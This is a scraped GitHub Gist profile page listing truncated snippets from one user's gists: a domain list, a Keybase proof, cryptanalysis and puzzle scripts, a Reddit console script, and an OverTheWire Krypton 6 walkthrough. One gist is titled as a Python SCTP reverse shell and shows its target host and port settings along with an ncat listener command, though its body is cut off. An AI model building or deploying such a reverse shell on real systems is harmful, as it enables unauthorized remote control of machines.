Skip to content

Instantly share code, notes, and snippets.

View hyperreality's full-sized avatar

hyperreality

View GitHub Profile
Albigensian.com
Americanizations.com
Andrianampoinimerina.com
Anglicanisms.com
Araucanian.com
Brahmanisms.com
Chanukahs.com
Chayefsky.com
Churriguera.com
Confucianisms.com

Keybase proof

I hereby claim:

  • I am hyperreality on github.
  • I am hyperreality (https://keybase.io/hyperreality) on keybase.
  • I have a public key ASAZvP0Suk6P4hb_f_Vh8tSwTMkIzD6gJAwCj6lVjuk7fAo

To claim this, I am signing this object:

#!/usr/bin/python3
from collections import Counter
import operator
import string
def ic(ctext):
num = 0.0
den = 0.0
for val in Counter(ctext).values():
@hyperreality
hyperreality / so-debug.js
Last active October 28, 2018 17:46
Automatic Stack Overflow debugging (joke)
#!/usr/bin/env node
const opn = require('opn');
var path = require('path');
var argv = require('minimist')(process.argv.slice(2));
if (!argv._.length) {
console.log('Usage: so-debug FILE.js [-g search Google] [-b specify which browser to use]');
}
else {
python -c "import readline,subprocess as s;p=s.Popen('mira',shell=True,stdin=s.PIPE);[p.stdin.write(raw_input()+'\n') for _ in iter(int,1)]"
@hyperreality
hyperreality / Krypton 6 walkthrough.md
Created November 24, 2017 15:44
over the wire writeup

Krypton 6

We have a program that encrypts files in some unknown way. A good first step is to give it a repeated pattern and see what it outputs:

> python -c 'print "A" * 50' > /tmp/abc
> ./encrypt6 /tmp/abc /tmp/out
> cat /tmp/out
EICTDGYIYZKTHNSIRFXYCPFUEOCKRNEICTDGYIYZKTHNSIRFXY
@hyperreality
hyperreality / sctp_reverse_shell.py
Created April 14, 2017 17:22
Simple Python reverse shell using the SCTP protocol
#!/usr/bin/env python3
#
# Tiny SCTP Reverse Shell inspired by http://insecurety.net/?p=765
# Connect with `ncat --sctp -lvp 1234`
import os, socket, subprocess
RHOST = '127.0.0.1'
RPORT = 1234
@hyperreality
hyperreality / problem5.js
Created November 29, 2016 16:22
Programming Problem 5: Sum to 100
// Problem 5
// Write a program that outputs all possibilities to put + or - or nothing between the numbers 1, 2, ..., 9 (in this order) such that the result is always 100. For example: 1 + 2 + 34 – 5 + 67 – 8 + 9 = 100.
// http://www.shiftedup.com/2015/05/07/five-programming-problems-every-software-engineer-should-be-able-to-solve-in-less-than-1-hour
var nums = [1, 2, 3, 4, 5, 6, 7, 8, 9],
symbols = ['+', '-', ' '],
perms = [];
function kLengthPermutations(permArr, k, prefix) {
@hyperreality
hyperreality / Reddit: Auto - unsubscribe from default subreddits
Last active September 24, 2016 18:55
And auto-subscribe to favourite subreddits
// To remove the inane default subreddits automatically
// Go to https://www.reddit.com/subreddits/ and paste the following code into your browser console
function clickSubredditButtons(buttons) {
var i = buttons.length;
setTimeout(function() {
buttons[0].click()
if (--i) clickSubredditButtons(buttons.slice(1));
}, 500)
}
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import random
code_points = {
'english': (32, 126),
'burmese': (1024, 1279),
'arabic': (1536, 1791),
'canadian_aboriginal': (5120, 5759),